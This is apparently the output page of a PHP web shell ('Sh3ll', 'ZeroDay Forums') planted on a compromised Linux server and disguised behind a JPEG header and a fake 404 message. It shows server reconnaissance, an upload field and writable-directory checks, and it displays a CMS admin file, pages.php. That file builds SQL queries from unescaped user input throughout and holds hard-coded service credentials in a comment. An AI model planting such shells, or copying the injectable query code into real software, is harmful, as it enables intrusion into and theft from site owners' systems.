ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/admin_new/mod/pages.php
<?php
class pages{
    var $path_image	= "upload/pages/";
    var $path_image_sub	= "upload/pages/sub_img/";
    var $path_files = "upload/pages/files/";
    var $max_fsize	=  1500000;
    var $thumb_width = 230;
    var $thumb_height = 197;
    var $thumb2_width = 102;
    var $thumb2_height = 87;
    function pages(){
        global $CORE;
        $arr_mid = array();
        switch($CORE->input['code']){
            default : $this->goList(); break;
            case 'post': $this->goPost(); break;
            case 'del': $this->goDel($arr_mid); break;
            case 'showpages' : $this->goShowpages(); break;
            case 'del_img_sub' : $this->del_img_sub(); break;
            case 'del_file' : $this->del_file(); break;
            case 'del_size' : $this->del_size(); break;
            case 'del_color' : $this->del_color(); break;
            case 'drop' : $this->drop(); break;
        }
    }
    function drop(){
        global $DB, $CORE, $smarty,$print;
        $id = intval($CORE->input['id']);
        $smarty->assign('module_name','Drop ảnh');
        $smarty->assign('title','Drop');
        $smarty->assign('section','drop');
        $row = $DB->fetch_row($DB->query("SELECT id,title,img FROM NNCCMS_pages WHERE id='$id'"));

        $smarty->assign('detail',$row);
        $smarty->assign('ratio',$this->thumb_width/$this->thumb_height);
        $smarty->assign('min_width',$this->thumb_width);
        $smarty->assign('min_height',$this->thumb_height);
        $smarty->assign('filemtime',$CORE->input['t']);
        if($CORE->input['submit_drop']){
            $img = $CORE->input['img'];

            $targ_w = $this->thumb_width;
            $targ_h = $this->thumb_height;
            $jpeg_quality = 90;
            $src = '../upload/pages/'.$img;
            $img_r = imagecreatefromjpeg($src);
            $dst_r = imagecreatetruecolor( $targ_w, $targ_h );

            imagecopyresampled($dst_r,$img_r,0,0,$_POST['x'],$_POST['y'],
                $targ_w,$targ_h,$_POST['w'],$_POST['h']);
            //file_put_contents('thumb/thumb.jpg',imagejpeg($dst_r,null,$jpeg_quality));
            //header('Content-type: image/jpeg');
            //imagejpeg($dst_r,NULL,$jpeg_quality);//null neu ko save den folder
            imagejpeg($dst_r,'../upload/pages/thumb_'.$img,$jpeg_quality);
            $filemtime = filemtime('../upload/pages/thumb_'.$img);
//            header('Location: ../upload/pages/thumb_'.$img.'?'.$filemtime);
//            exit();
            $print->refresh('index.php?act=pages&code=drop&id='.$CORE->input['id'].'&t='.$filemtime);
        }

    }
    function del_file(){
        global $DB,$CORE;
        $file_id = $CORE->input['file_id'];
        $id = intval(str_replace('pagesfile_','',$file_id));
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM NNCCMS_pages_files WHERE id = '$id'"));
        if(!empty($row_check['file'])){
            @unlink(ROOT_PATH.$this->path_files.$row_check['file']);
            @unlink(ROOT_PATH.$this->path_files.$row_check['file']).'.html';
        }
        $DB->query("DELETE FROM NNCCMS_pages_files WHERE id='$id'");
        echo $id;
        exit();
    }
    function del_size(){
        global $DB,$CORE;
        $size_id = $CORE->input['size_id'];
        $id = intval(str_replace('size_','',$size_id));
        $DB->query("DELETE FROM NNCCMS_pages_options_size WHERE id='$id'");
        echo $id;
        exit();
    }
    function del_color(){
        global $DB,$CORE;
        $color_id = $CORE->input['color_id'];
        $id = intval(str_replace('color_','',$color_id));
        $DB->query("DELETE FROM NNCCMS_pages_options_color WHERE id='$id'");
        echo $id;
        exit();
    }
    function del_img_sub(){
        global $DB,$CORE;
        $img_id = $CORE->input['img_id'];
        $id = intval(str_replace('pagesimg_','',$img_id));
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM NNCCMS_images WHERE id = '$id'"));
        if(!empty($row_check['image'])){
            @unlink(ROOT_PATH.$this->path_image_sub.'thumb_'.$row_check['image']);
            @unlink(ROOT_PATH.$this->path_image_sub.$row_check['image']);
        }
        $DB->query("DELETE FROM NNCCMS_images WHERE id='$id'");
        echo $img_id;
        exit();
    }
    function dequy_selected($id,$parentid,$aCats,$res,$sep){
        foreach($aCats as $val){
            if($val['parent_id']==$parentid){
                if($id==$val['id'] and $parentid!=0){
                    $re = '<option value="'.$val['id'].'" selected>+'.$sep.''.$val['title'].'</option>';
                }else{
                    $re = '<option value="'.$val['id'].'">+'.$sep.''.$val['title'].'</option>';
                }
                $res .= $this->dequy_selected($id,$val['id'],$aCats,$re,$sep.'+');
            }
        }
        return $res;
    }
    function dequy_checked($arr_id,$parentid,$aCats,$res,$sep,$tep){
        foreach($aCats as $val){
            if($val['parent_id']==$parentid){
                if(in_array($val['id'],$arr_id,true)){
                    $re = '<li>'.$sep.''.$val['title'].'<input type="checkbox" name="menu_id[]" value="'.$val['id'].'" checked />'.$tep.'</li>';
                }else{
                    $re = '<li>'.$sep.''.$val['title'].'<input type="checkbox" name="menu_id[]" value="'.$val['id'].'" />'.$tep.'</li>';
                }
                $res .= $this->dequy_checked($arr_id,$val['id'],$aCats,$re,$sep.'<ul><li>',$tep.'</li></ul>');
            }
        }
        return $res;
    }
    function goList(){
        global $CORE, $DB, $smarty, $func, $print;
        $smarty->assign('module_name','Quản lý bài viết');
        $smarty->assign('title','pages');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','list');
        $aCats = array();
        $query_menu = $DB->query("SELECT * FROM NNCCMS_menu WHERE `type`='menu'");
        while($rows_menu = $DB->fetch_row($query_menu))
        {
            $aCats[] = $rows_menu;
        }
        $menu = $this->dequy_selected(0,0,$aCats,'<option value="0">Tất cả</option>','','');
        $smarty->assign('menu',$menu);
        $where = "WHERE title<>''";
        $fcat = intval($CORE->input['id_menu']);
        $fstatus  = $CORE->input['fstatus'];
        $fkeyword = trim($CORE->input['fkeyword']);
        if($fcat!=0){
            $q_check_menu = $DB->query("SELECT pages_id FROM NNCCMS_menu_pages WHERE menu_id='".$fcat."' ORDER BY pages_id DESC LIMIT 50 ");
            while($r_check_menu = $DB->fetch_row($q_check_menu)){
                $arr_page_id[] =  $r_check_menu['pages_id'];
            }
            $txt_page_id = implode(',',$arr_page_id);
            if(!empty($txt_page_id)) {
                $where .= " AND id IN (" . $txt_page_id . ") ";
            }
        }
        if($fstatus!='')
        {
            $where .= " AND status = '".$fstatus."' ";
        }
        if($fkeyword!='')
        {
            $where .=  " AND (title LIKE '%".$fkeyword."%' OR intro LIKE '%".$fkeyword."%') ";
            $nsearch = 1;
        }
        $smarty->assign('nsearch',$nsearch);
        if($CORE->input['nosearch']){ unset($_SESSION['fcat'],$_SESSION['fstatus'],$_SESSION['fkeyword']);}
        $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
        $pageSize = 20;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(id) as total FROM NNCCMS_pages ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM NNCCMS_pages ".$where." ORDER BY `pos` ASC, time DESC LIMIT $from, $pageSize");
        
        while($row = $DB->fetch_row($query))
        {
            $row['time'] = date('d-m-Y',$row['time']);
            $arr[] = $row;
        }
        $smarty->assign('list',$arr);
        $nav = $print->Pagination($totalPage,$pageNum,'pages',$CORE->admin_url.'&act=pages&id_menu='.$fcat.'&fstatus='.$fstatus.'&fkeyword='.$fkeyword);
        $smarty->assign('nav',$nav);
        $arr_mid = $CORE->input['mid_for_del'];
        if(!empty($arr_mid)){
            $type = $CORE->input['type'];
            switch($type){
                case 'del':
                    $this->goDel($arr_mid);
                    break;
                default:
                    $this->goAction($arr_mid,$type);
                    break;
            }
        }
    }
    function goPost(){
        global $CORE, $DB, $func, $smarty, $print;
        $smarty->assign('module_name','Quản lý bài viết');
        $smarty->assign('title','pages');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','post');
        $aCats = array();
        $query_menu = $DB->query("SELECT * FROM NNCCMS_menu WHERE `type`='menu'");
        while($rows_menu = $DB->fetch_row($query_menu))
        {
            $aCats[] = $rows_menu;
        }
        $menu = $this->dequy_selected(0,0,$aCats,'<option value="0">Tất cả</option>','','');
        $smarty->assign('menu',$menu);
        if($_SESSION['error']) unset($CORE->input['bsubmit']);
        if(!$CORE->input['bsubmit']){
            $id = intval($CORE->input['id']);
            if ($_SESSION['error']) $prevError = $_SESSION['error']; unset($_SESSION['error']);
            if ($_SESSION['state']) $prevState = $_SESSION['state']; unset($_SESSION['state']);
            if($prevState!=NULL){
                $data = $prevState;
            }else{
                if($id==0){
                    $data['status'] = 1;
                }else{
                    $query = $DB->query("SELECT * FROM NNCCMS_pages WHERE id='".$id."'");
                    $data = $DB->fetch_row($query);
                }
            }
            $temp = $DB->query("SELECT * FROM NNCCMS_menu");
            while($data1 = $DB->fetch_row($temp)){
                $list_menu[] = $data1;
            }
            if($id>0){
                $q_menu_page = $DB->query("SELECT menu_id FROM NNCCMS_menu_pages WHERE pages_id='$id'");
                while($r_menu_page = $DB->fetch_row($q_menu_page)){
                    $arr_id[]  = $r_menu_page['menu_id'];
                }
            }else{
                $arr_id  = array();
            }
            $data['op_menu'] = $this->dequy_checked($arr_id,0,$list_menu,'------------Root-----------','','');
            $data['body'] = $func->editor_new('body',$data['body'],15);

            $data['noibat'] = $func->makebox($data['noibat'],'noibat');
            $data['khuyenmai'] = $func->makebox($data['khuyenmai'],'khuyenmai');
            $data['status'] = $func->yes_no($data['status'],'status');
            $data['allow_comment'] = $func->makebox($data['allow_comment'],'allow_comment');

            //show option data
            $r_op = $DB->fetch_row($DB->query("SELECT * FROM NNCCMS_pages_options WHERE pages_id = '$id'"));
            $data['price'] = $r_op['price'];
            $data['sprice'] = $r_op['sprice'];
            $data['quantity'] = $r_op['quantity'];
            $data['in_stock'] = $func->yes_no($r_op['in_stock'],'in_stock');
            $data['time_begin'] = $r_op['time_begin'];
            $data['time_end'] = $r_op['time_end'];
            //show movie;
           $q_movie = $DB->query("SELECT * FROM NNCCMS_moviecat WHERE type='phim-le' ");
            while($r_movie = $DB->fetch_row($q_movie)){
                if(strpos($data['type_page'],$r_movie['ecname'])!==false){
                    $r_movie['op'] = 'selected';
                }
                $list_movie[] = $r_movie;
            }
            $smarty->assign('list_cats',$list_movie);

            $error[] = $prevError;
            $smarty->assign('error',$error);
            $smarty->assign('post',$data);
        }else{
            $tab1 = $CORE->input['tab1'];
            $tab2 = $CORE->input['tab2'];
            $tab3 = $CORE->input['tab3'];
            $tab4 = $CORE->input['tab4'];
            $id = $state['id'] = intval($CORE->input['id']);
            if(!empty($tab1) and $tab1=='general'){//general upload
                $menu_id = $CORE->input['menu_id'];
                $type_page = implode('@',$CORE->input['type_page']);
                $title = $state['title'] = trim($CORE->input['title']);
                $ftitle = $func->format_string($title);
                $etitle = $CORE->input['etitle'];
                $fetitle = $func->format_string($etitle);
                if($id>0){
                    $row_check = $DB->fetch_row($DB->query("SELECT id FROM NNCCMS_pages WHERE ftitle='$ftitle' AND id<>'$id'"));
                }else{
                    $row_check = $DB->fetch_row($DB->query("SELECT id FROM NNCCMS_pages WHERE ftitle='$ftitle' "));
                }
                if($row_check){
                    echo 'Tên bài viết bị trùng, xin đặt tên khác!';
                    exit();
                }
                if(empty($menu_id)){
                    echo 'Xin chá»n ít nhất má»™t menu!';
                    exit();
                }
                $intro = $state['intro'] = trim($CORE->input['intro']);
                $eintro = $state['eintro'] = $CORE->input['eintro'];
                $body = $state['body'] = $CORE->input['body'];
                $ebody = $CORE->input['ebody'];
                $tags = $CORE->input['tags'];
                $status = $state['status'] = intval($CORE->input['status']);
                $noibat  = $state['noibat'] = intval($CORE->input['noibat']);
                $time = time();
                $allow_comment = intval($CORE->input['allow_comment']);
                $update_time = $CORE->input['update_time'];
                if($title=='') exit('Xin nhập tiêu Ä‘á»');

            }

            //get img url
            $img = trim($CORE->input['image_video']);
            $img = str_replace(array('https','encrypted-tbn'),array('http','t'),$img);
            if($img == '' and $intro!=''){
                $arr_intro = explode('v=',$intro);
                $image1='http://img.youtube.com/vi/'.$arr_intro[1].'/hqdefault.jpg';
            }else{
                $image1= $img;
            }


            if($id==0){
                $DB->query("INSERT INTO `NNCCMS_pages` (`type_page`,
`title` ,
`ftitle`,
`etitle` ,
`fetitle` ,
`path_img`,
`img` ,
`intro`,
`eintro`,
`body` ,
`ebody` ,
`tags`,
`hit` ,
`time` ,
`status` ,
`noibat` ,
`allow_comment`
)
VALUES (
'$type_page',
'$title','$ftitle', '$etitle','$fetitle','".date('m_y')."', '$image1', '$intro','$eintro',  '$body', '$ebody','$tags', '0', '$time', '$status', '$noibat', '$allow_comment'
);
");
                $insert_id = mysql_insert_id();
                if(!empty($menu_id)){
                    foreach($menu_id as $val){
                        $DB->query("INSERT INTO `NNCCMS_menu_pages` (
`menu_id` ,
`pages_id`
)
VALUES (
'$val', '$insert_id'
);");
                    }
                }

                return $print->refresh("index.php?act=pages&&code=post&status=add_success&id=".$insert_id."#tab2");
            }else{
                if($tab1 == 'general'){
                    $query = $DB->query("SELECT img FROM `NNCCMS_pages` WHERE id='".$id."'");
                    $result = $DB->fetch_row($query);
                    if($image1!=''){
                        @unlink(ROOT_PATH.$this->path_image.$result['img']);
                        @unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['img']);
                        $DB->query("UPDATE `NNCCMS_pages` SET `img`='".$image1."',`path_img`='".date('m_y')."' WHERE `id`='".$id."'");
                    }
                    $DB->query("UPDATE `NNCCMS_pages` SET
    `type_page` = '$type_page',
    `title` = '$title',
    `ftitle` = '$ftitle',
    `etitle` = '$etitle',
    `fetitle` = '$fetitle',
    `intro` = '$intro',
    `eintro` = '$eintro',
    `body` = '$body',
    `ebody` = '$ebody',
    `tags` = '$tags',
    `status` = '$status',
    `noibat` = '$noibat',
    `allow_comment` = '$allow_comment' WHERE `id` ='$id' LIMIT 1 ;
    ");
    if($update_time){
    	$DB->query("UPDATE `NNCCMS_pages` SET
    `time` = '$time' WHERE `id` ='$id'");
    }
                    if(!empty($menu_id)){
                        $DB->query("DELETE FROM NNCCMS_menu_pages WHERE pages_id = '$id'");
                        foreach($menu_id as $val){
                            $DB->query("INSERT INTO `NNCCMS_menu_pages` (
    `menu_id` ,
    `pages_id`
    )
    VALUES (
    '$val', '$id'
    );");
                        }
                    }
                }
                if($tab4=='options'){
                    $price = intval($CORE->input['price']);
                    $sprice = intval($CORE->input['sprice'])>0 ? intval($CORE->input['sprice']) : $price ;
                    $time_begin = $CORE->input['time_begin'];
                    $time_end = $CORE->input['time_end'];
                    $quantity = $CORE->input['quantity'];
                    $in_stock = $CORE->input['in_stock'];
                    //check op
                    $row_check_op = $DB->fetch_row($DB->query("SELECT id FROM NNCCMS_pages_options WHERE pages_id='$id' "));
                    if(!$row_check_op){//do insert
                        $DB->query("INSERT INTO `NNCCMS_pages_options` (`pages_id`, `price`, `sprice`, `quantity`, `in_stock`, `begin_time`, `time_end`) VALUES ('$id', '$price', '$sprice', '$quantity', '$in_stock', '$time_begin', '$time_end');");
                    }else{//do update
                        $DB->query("UPDATE `NNCCMS_pages_options` SET `price` = '$price', `sprice` = '$sprice', `quantity` = '$quantity', `in_stock` = '$in_stock', `begin_time` = '$time_begin', `time_end` = '$time_end' WHERE `id` = '".$row_check_op['id']."';");
                    }
                    //options size
                    $size = $CORE->input['size'];
                    if(!empty($size)){

                        foreach($size as $val){
                            $DB->query("INSERT INTO `NNCCMS_pages_options_size` ( `pages_id`, `title_size`) VALUES ( '$id', '$val');");
                        }
                    }
                    //options color
                    $color = $CORE->input['color'];
                    $ecolor = $CORE->input['ecolor'];
                    if(!empty($color)){
                        foreach($color as $key=>$val){
                            $DB->query("INSERT INTO `NNCCMS_pages_options_color` ( `pages_id`, `title_color`,`etitle_color`) VALUES ( '$id', '$val','".$ecolor[$key]."');");
                        }
                    }
                }
                //tab option
                if($tab2 == 'gallery'){
                    //options images
                    $images = $_FILES['image'];
                    $title_image = $CORE->input['title_image'];
                    $etitle_image = $CORE->input['etitle_image'];
                    $intro_image = $CORE->input['intro_image'];
                    $eintro_image = $CORE->input['eintro_image'];

                    if(!empty($images)){
                        foreach($images['name'] as $key=>$val){
                            $file = $images['tmp_name'][$key];
                            $type = $images['type'][$key];
                            $uniqid_img = uniqid();
                            $image_name1	= substr($func->format_string($title_image),0,50).'-'.$key.'-'.$uniqid_img;
                            $thumb_name1		= "thumb_".$image_name1;
                            $thumb_size1 = 240;
                            $createthumb1 = $func->create_image($file, $type, $thumb_name1,$thumb_size1, ROOT_PATH.$this->path_image_sub);
                            $imageExt1 = $func->getImageExt($createthumb1);

                            $arr_size = getimagesize($file);
                            $width = $arr_size[0];
                            $height = $arr_size[1];
                            if($width<800 and $height<600){
                                if($createthumb1 && move_uploaded_file($file, ROOT_PATH.$this->path_image_sub.$image_name1.$imageExt1)){
                                    $image_name_tam = $image_name1.$imageExt1;
                                }
                            }else{
                                $thumb_name2		=  $image_name1;
                                $thumb_size2 = 700;
                                $createthumb2 = $func->create_image($file, $type, $thumb_name2,$thumb_size2, ROOT_PATH.$this->path_image_sub);
                                $imageExt2 = $func->getImageExt($createthumb2);
                                $image_name_tam = $image_name1.$imageExt2;
                            }
                            if($key==0){
                                $title_image[$key] = current($title_image);
                                $etitle_image[$key] = current($etitle_image);
                                $intro_image[$key] = current($intro_image);
                                $eintro_image[$key] = current($eintro_image);
                            }
                            $DB->query("INSERT INTO `NNCCMS_images` ( `id_pagesimg`, `title`, `etitle`, `intro`, `eintro`, `path_img`, `image`, `image_banner`) VALUES ( '$id', '".$title_image[$key]."','".$etitle_image[$key]."','".$intro_image[$key]."', '".$eintro_image[$key]."','".date('m-y')."', '$image_name_tam', '');");
                        }
                    }
                    }
                if($tab3 == 'files'){
                    //docx, doc, xls, xlsx, pdf
                    $type_file = array('application/vnd.openxmlformats-officedocument.wordprocessingml.document','application/msword','application/vnd.ms-word','application/vnd.ms-excel','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'application/pdf');
                    $title_file = $CORE->input['title_file'];
                    $etitle_file = $CORE->input['etitle_file'];
                    $intro_file = $CORE->input['intro_file'];
                    $eintro_file = $CORE->input['eintro_file'];
                    $files = $_FILES['file'];


                    if(!empty($files)){
                        foreach($files['name'] as $key=>$val){
                            $uniqid_file = uniqid();
                            $ext = $func->get_file_extension($files['name'][$key]);
                            $file_name = substr($func->format_string($files['name'][$key]),0,30).'-'.$key.'-'.$uniqid_file.'.'.$ext;


                            $file = $files['tmp_name'][$key];
                            $type = $files['type'][$key];

                            if(!in_array($type,$type_file)){

                                $print->page_error('File phải có dạng .docx, .doc, .xls, .xlsx, .pdf','index.php?act=pages&code=post&id='.$id);
                                exit();
                            }

                            $file_name_tam = '';
                            if(move_uploaded_file($file, ROOT_PATH.$this->path_files.$file_name)){
                                $file_name_tam = $file_name;
                            }
                            if($key==0){
                                $title_file[$key] = current($title_file);
                                //$etitle_file[$key] = current($etitle_file);
                                $intro_file[$key] = current($intro_file);
                                //$eintro_file[$key] = current($eintro_file);
                            }

                            if($title_file[$key]==''){
                                $print->page_error('Bạn chưa nhập tiêu đỠfile','index.php?act=pages&code=post&id='.$id);
                                exit();
                            }

                            if($file_name_tam!=''){

                                //convert to html
                               if($ext=='doc' or $ext=='docx'){ //file word

                                   //zend
                                   /*require 'Zend/Loader.php';
                                   Zend_Loader::loadClass('Zend_Service_LiveDocx_MailMerge');
                                   $mailMerge = new Zend_Service_LiveDocx_MailMerge();
                                    $mailMerge->setUsername('buondoiwa')
                                        ->setPassword('gunblade');
                                    $mailMerge->setLocalTemplate(ROOT_PATH.$this->path_files.$file_name_tam);
                                    $mailMerge->assign(null);  // must be called as of phpLiveDocx 1.2
                                    $mailMerge->createDocument();
                                    $data = $mailMerge->retrieveDocument('html');
                                    file_put_contents(ROOT_PATH.$this->path_files.$file_name_tam.'.html', $data);*/
                                }
                                if($ext=='xls'){ //file excel

                                   /* require_once '../lib/office/excel_reader2.php';
                                    $data = new Spreadsheet_Excel_Reader(ROOT_PATH.$this->path_files.$file_name_tam);

                                    $data = $data->dump(true,true);
                                    $data = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Untitled Document</title></head><body>'.$data.'</body></html>';
                                    file_put_contents(ROOT_PATH.$this->path_files.$file_name_tam.'.html', $data);*/
                                }


                                $DB->query("INSERT INTO `NNCCMS_pages_files` ( `pages_id`, `title_file`, `etitle_file`, `intro_file`, `eintro_file`, `file`,`body`, `time`) VALUES ( '$id', '".$title_file[$key]."','".$etitle_file[$key]."','".$intro_file[$key]."', '".$eintro_file[$key]."','".$file_name_tam."','', '".time()."');");
                            }else{
                                $print->page_error('File không tìm thấy','index.php?act=pages&code=post&id='.$id);
                                exit();
                            }
                        }
                    }

                }
                return $print->refresh("index.php?act=pages&code=post&status=edit_success&id=".$id);
            }
        }
    }
    function goAction($arr_mid,$type){
        global $DB, $print;
        foreach($arr_mid as $val){
            switch($type){
                case 'active':
                    $DB->query("UPDATE NNCCMS_pages SET status='1' WHERE id='".$val."'");
                    break;
                case 'deactive':
                    $DB->query("UPDATE NNCCMS_pages SET status='0' WHERE id='".$val."'");
                    break;
                case 'hot':
                    $DB->query("UPDATE NNCCMS_pages SET noibat='1' WHERE id='".$val."'");
                    break;
                case 'dehot':
                    $DB->query("UPDATE NNCCMS_pages SET noibat='0' WHERE id='".$val."'");
                    break;
            }
        }
        $print->refresh('index.php?act=pages&status=edit_success');
    }
    function goDel($arr_id){
        global $CORE, $DB, $print;
        if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin má»›i có quyá»n xóa bài!...');
        if(empty($arr_id)){
            $id	=	intval($CORE->input['id']);
            $query = $DB->query("SELECT path_img,img FROM NNCCMS_pages WHERE id='".$id."'");
            $result = $DB->fetch_row($query);
            if($result['img'] !=''){
                unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['img']);
                unlink(ROOT_PATH.$this->path_image.$result['img']);
            }
            $DB->query("DELETE FROM NNCCMS_menu_pages WHERE pages_id='$id'");
            $DB->query("DELETE FROM NNCCMS_pages WHERE id='".$id."'");
            $DB->query("DELETE FROM NNCCMS_playlist_pages WHERE pages_id='".$id."'");
            $DB->query("DELETE FROM NNCCMS_like WHERE video_id='" .$id. "'");
            $print->refresh("index.php?act=pages&status=del_success&cat=".$result['cid']);
            exit();
        }else{
            foreach($arr_id as $val){
                $query = $DB->query("SELECT img FROM NNCCMS_pages WHERE id='".$val."'");
                $result = $DB->fetch_row($query);
                if($result['img'] !=''){
                    unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['img']);
                    unlink(ROOT_PATH.$this->path_image.$result['img']);
                }
                $DB->query("DELETE FROM NNCCMS_menu_pages WHERE pages_id='$val'");
                $DB->query("DELETE FROM NNCCMS_pages WHERE id='".$val."'");
                $DB->query("DELETE FROM NNCCMS_playlist_pages WHERE pages_id='".$val."'");
                $DB->query("DELETE FROM NNCCMS_like WHERE video_id='" .$val. "'");
            }
        }
        $print->refresh("index.php?act=pages&status=del_success");
    }
}
$run = new pages();
?>

ZeroDay Forums Mini